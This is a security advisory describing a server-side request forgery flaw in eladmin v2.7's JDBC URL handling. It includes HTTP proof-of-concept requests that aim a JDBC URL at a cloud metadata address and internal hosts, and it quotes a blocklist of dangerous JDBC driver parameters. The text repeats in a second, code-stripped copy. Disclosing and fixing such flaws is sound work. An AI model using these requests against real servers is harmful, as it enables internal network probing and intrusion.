Severity: High · CWE: CWE-918 (Server-Side Request Forgery)
Affected versions: v2.7
Summary
The database maintenance module lets a user supply an arbitrary JDBC URL and hands it to DriverManager.getDriver and a DruidDataSource that connects to it, opening an outbound TCP connection from the eladmin server to an attacker-chosen host:port. There are two entry points: a stored path that persists the URL and connects later when a SQL script is run, and a direct test-connection path that connects immediately and returns a boolean, making it a reliable blind internal port-scanner. The sanitizeJdbcUrl helper only rewrites a fixed six-parameter blocklist and never constrains the host:port, so the SSRF is open, and dangerous JDBC driver parameters outside the blocklist remain reachable.
Vulnerability chain
| Stage |
Component |
Location |
| Source (stored) |
createDatabase / updateDatabase bind @RequestBody Database.jdbcUrl and persist it |
eladmin-system/.../maint/rest/DatabaseController.java:72-86 |
| Trigger (stored) |
uploadDatabase reads the persisted jdbcUrl and calls SqlUtils.executeFile |
DatabaseController.java:107-118 |
| Source (direct) |
testConnect binds @RequestBody Database.jdbcUrl and calls testConnection |
DatabaseController.java:99-103 |
| Sink |
SqlUtils.getDataSource: DriverManager.getDriver(url) then DruidDataSource.setUrl(url).init() (outbound TCP) |
eladmin-system/.../maint/util/SqlUtils.java:49-90 |
The Database entity stores jdbcUrl as a free-form String with no @Pattern or scheme/host validation. DatabaseServiceImpl.testConnection forwards resources.getJdbcUrl() straight to SqlUtils.testConnection, and uploadDatabase passes the persisted database.getJdbcUrl() to SqlUtils.executeFile. Both reach SqlUtils.getDataSource, which first calls DriverManager.getDriver(jdbcUrl.trim()) and then DruidDataSource.setUrl + init(), causing an outbound connection to whatever host the URL names. sanitizeJdbcUrl is applied only after the getDriver call and only neutralizes a small set of =true parameters, leaving the destination host:port untouched.
Key code
Database.jdbcUrl — no validation on the URL (Database.java:45-46):
@ApiModelProperty(value = "数据库连接地址")
private String jdbcUrl;
DatabaseController — stored trigger and direct test (DatabaseController.java:99-118):
@PostMapping("/testConnect")
@PreAuthorize("@el.check('database:testConnect')")
public ResponseEntity<Object> testConnect(@Validated @RequestBody Database resources){
return new ResponseEntity<>(databaseService.testConnection(resources),HttpStatus.CREATED);
}
...
@PostMapping(value = "/upload")
@PreAuthorize("@el.check('database:add')")
public ResponseEntity<Object> uploadDatabase(@RequestBody MultipartFile file, HttpServletRequest request)throws Exception{
String id = request.getParameter("id");
DatabaseDto database = databaseService.findById(id);
...
String result = SqlUtils.executeFile(database.getJdbcUrl(), database.getUserName(), database.getPwd(), executeFile);
SqlUtils.getDataSource — sink, outbound connection (SqlUtils.java:49-90):
private static DataSource getDataSource(String jdbcUrl, String userName, String password) {
DruidDataSource druidDataSource = new DruidDataSource();
...
className = DriverManager.getDriver(jdbcUrl.trim()).getClass().getName(); // resolves/loads driver for attacker URL
...
jdbcUrl = sanitizeJdbcUrl(jdbcUrl); // only rewrites a 6-param =true blocklist, host:port untouched
druidDataSource.setUrl(jdbcUrl);
...
druidDataSource.init(); // opens an outbound TCP connection to host:port
sanitizeJdbcUrl — weak parameter blocklist, no destination control (SqlUtils.java:209-231):
String[][] unsafeParams = {
{"allowLoadLocalInfile", "false"},
{"allowUrlInLocalInfile", "false"},
{"autoDeserialize", "false"},
{"allowNanAndInf", "false"},
{"allowMultiQueries", "false"},
{"allowPublicKeyRetrieval", "false"}
};
for (String[] param : unsafeParams) {
jdbcUrl = jdbcUrl.replaceAll("(?i)" + param[0] + "=true", param[0] + "=" + param[1]);
}
Proof of Concept
Direct path — points the JDBC URL at an internal address and triggers an immediate outbound connection:
POST /api/database/testConnect HTTP/1.1
Host: <eladmin-host>
Authorization: Bearer <JWT with database:testConnect>
Content-Type: application/json
{"name":"probe","jdbcUrl":"jdbc:mysql://169.254.169.254:3306/test","userName":"u","pwd":"p"}
The boolean response (success vs. exception) distinguishes an open internal port from a closed one, enabling blind port enumeration against internal services and cloud metadata endpoints.
Stored path — persists the URL first, then triggers the connection on script upload:
PUT /api/database HTTP/1.1
Host: <eladmin-host>
Authorization: Bearer <JWT with database:add>
Content-Type: application/json
{"id":"<id>","name":"probe","jdbcUrl":"jdbc:mysql://<internal-host>:3306/test","userName":"u","pwd":"p"}
followed by:
POST /api/database/upload?id=<id> HTTP/1.1
Authorization: Bearer <JWT with database:add>
Content-Type: multipart/form-data; boundary=----x
------x
Content-Disposition: form-data; name="file"; filename="a.sql"
Content-Type: application/octet-stream
SELECT 1;
------x--
upload resolves the persisted jdbcUrl and connects to it via SqlUtils.executeFile → getDataSource.
Impact
- Authenticated SSRF. Any principal with
database:testConnect (direct) or database:add (stored) can make the eladmin server open outbound TCP connections to arbitrary host:port values.
- Blind internal port scanning and probing of cloud-metadata and internal admin services via the boolean
testConnect response.
- The connection is handed to a JDBC/Druid stack; dangerous driver parameters beyond the six-item blocklist (for example JDBC options that load local files or instantiate driver classes from the URL) are not constrained by
sanitizeJdbcUrl, so the surface is wider than pure port scanning depending on the available drivers.
Remediation
- Do not accept a raw JDBC URL from user input. Resolve datasources by a configured/administered identifier, or restrict the URL to an allowlist of permitted schemes and hosts before any connection attempt.
- If a user-supplied URL must be supported, validate scheme/host/port against a strict allowlist and reject non-routable or metadata destinations before
getDriver/init.
- Replace the
sanitizeJdbcUrl parameter blocklist with an allowlist of safe driver options, or configure the connection pool to reject dangerous parameters by default.
Severity: High · CWE: CWE-918 (Server-Side Request Forgery)
Affected versions: v2.7
Summary
The database maintenance module lets a user supply an arbitrary JDBC URL and hands it to
DriverManager.getDriverand aDruidDataSourcethat connects to it, opening an outbound TCP connection from the eladmin server to an attacker-chosenhost:port. There are two entry points: a stored path that persists the URL and connects later when a SQL script is run, and a direct test-connection path that connects immediately and returns a boolean, making it a reliable blind internal port-scanner. ThesanitizeJdbcUrlhelper only rewrites a fixed six-parameter blocklist and never constrains thehost:port, so the SSRF is open, and dangerous JDBC driver parameters outside the blocklist remain reachable.Vulnerability chain
createDatabase/updateDatabasebind@RequestBody Database.jdbcUrland persist iteladmin-system/.../maint/rest/DatabaseController.java:72-86uploadDatabasereads the persistedjdbcUrland callsSqlUtils.executeFileDatabaseController.java:107-118testConnectbinds@RequestBody Database.jdbcUrland callstestConnectionDatabaseController.java:99-103SqlUtils.getDataSource:DriverManager.getDriver(url)thenDruidDataSource.setUrl(url).init()(outbound TCP)eladmin-system/.../maint/util/SqlUtils.java:49-90The
Databaseentity storesjdbcUrlas a free-formStringwith no@Patternor scheme/host validation.DatabaseServiceImpl.testConnectionforwardsresources.getJdbcUrl()straight toSqlUtils.testConnection, anduploadDatabasepasses the persisteddatabase.getJdbcUrl()toSqlUtils.executeFile. Both reachSqlUtils.getDataSource, which first callsDriverManager.getDriver(jdbcUrl.trim())and thenDruidDataSource.setUrl+init(), causing an outbound connection to whatever host the URL names.sanitizeJdbcUrlis applied only after thegetDrivercall and only neutralizes a small set of=trueparameters, leaving the destinationhost:portuntouched.Key code
Database.jdbcUrl— no validation on the URL (Database.java:45-46):DatabaseController— stored trigger and direct test (DatabaseController.java:99-118):SqlUtils.getDataSource— sink, outbound connection (SqlUtils.java:49-90):sanitizeJdbcUrl— weak parameter blocklist, no destination control (SqlUtils.java:209-231):Proof of Concept
Direct path — points the JDBC URL at an internal address and triggers an immediate outbound connection:
The boolean response (success vs. exception) distinguishes an open internal port from a closed one, enabling blind port enumeration against internal services and cloud metadata endpoints.
Stored path — persists the URL first, then triggers the connection on script upload:
followed by:
uploadresolves the persistedjdbcUrland connects to it viaSqlUtils.executeFile→getDataSource.Impact
database:testConnect(direct) ordatabase:add(stored) can make the eladmin server open outbound TCP connections to arbitraryhost:portvalues.testConnectresponse.sanitizeJdbcUrl, so the surface is wider than pure port scanning depending on the available drivers.Remediation
getDriver/init.sanitizeJdbcUrlparameter blocklist with an allowlist of safe driver options, or configure the connection pool to reject dangerous parameters by default.